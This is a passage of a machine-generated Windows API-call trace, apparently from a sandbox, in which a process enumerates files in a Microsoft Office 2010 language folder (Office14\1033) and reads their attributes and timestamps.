ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x21788, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSL", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e830b00, ftCreationTime.dwHighDateTime=0x1ca4730, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e830b00, ftLastWriteTime.dwHighDateTime=0x1ca4730, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSS", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4722d700, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4722d700, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.DOC", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.PPT", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51dd6c00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x51dd6c00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.XLS", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45f1aa00, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45f1aa00, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.DOC", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.PPT", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d18b800, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d18b800, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLV.XLS", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e7da00, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99e7da00, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0x4f777, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHKEY.DAT", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0x1f3978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLEX.DAT", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xcd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLTS.DAT", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33033d00, ftCreationTime.dwHighDateTime=0x1c56d62, ftLastAccessTime.dwLowDateTime=0xc866d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33033d00, ftLastWriteTime.dwHighDateTime=0x1c56d62, nFileSizeHigh=0x0, nFileSizeLow=0xd18, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHPHN.DAT", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b190700, ftCreationTime.dwHighDateTime=0x1c5c981, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b190700, ftLastWriteTime.dwHighDateTime=0x1c5c981, nFileSizeHigh=0x0, nFileSizeLow=0xa03a47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHSRN.DAT", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe236cf00, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe236cf00, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6a8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bb7f3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x10980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7146200, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7146200, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x41b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf925f00, ftCreationTime.dwHighDateTime=0x1c92dac, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf925f00, ftLastWriteTime.dwHighDateTime=0x1c92dac, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCOLOR.SCM", cAlternateFileName="")) returned 1 [0075.235] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBFTSCM", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87ce900, ftCreationTime.dwHighDateTime=0x1ca9b87, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc87ce900, ftLastWriteTime.dwHighDateTime=0x1ca9b87, nFileSizeHigh=0x0, nFileSizeLow=0x29d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9324cb00, ftCreationTime.dwHighDateTime=0x1ca9b88, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9324cb00, ftLastWriteTime.dwHighDateTime=0x1ca9b88, nFileSizeHigh=0x0, nFileSizeLow=0x2a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x14760, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRYINT32.DLL", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickStyles", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ed7300, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63ed7300, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x482d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Review.xsn", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROSE.CSS", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1d3a600, ftCreationTime.dwHighDateTime=0x1be1dd7, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1d3a600, ftLastWriteTime.dwHighDateTime=0x1be1dd7, nFileSizeHigh=0x0, nFileSizeLow=0xc06d, dwReserved0=0x0, dwReserved1=0x0, cFileName="RPLBRF35.CHM", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50d55500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xbd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.VSL", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x61204, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG.HXS", cAlternateFileName="")) returned 1 [0075.236] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETLANG_COL.HXC", cAlternateFileName="")) returned 1 [0075.237] GetLastError () returned 0x12 [0075.237] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0075.237] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0075.237] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0075.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0075.278] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0075.278] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac6708, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xac6708, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0075.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6708) returned 1 [0075.278] NtClose (Handle=0x168) returned 0x0 [0075.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0075.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0075.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x940000, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0075.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0075.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0075.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0075.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0075.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0075.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ad58 [0075.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaee80 [0075.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ae60 [0075.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0075.279] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x940000, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 0 [0075.279] GetLastError () returned 0x12 [0075.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0075.280] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x940000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x940000, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x940000, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 0 [0075.280] GetLastError () returned 0x12 [0075.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0075.280] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0075.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9ad58) returned 1 [0075.280] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BW.CSS", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALEVENT.VRD", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, 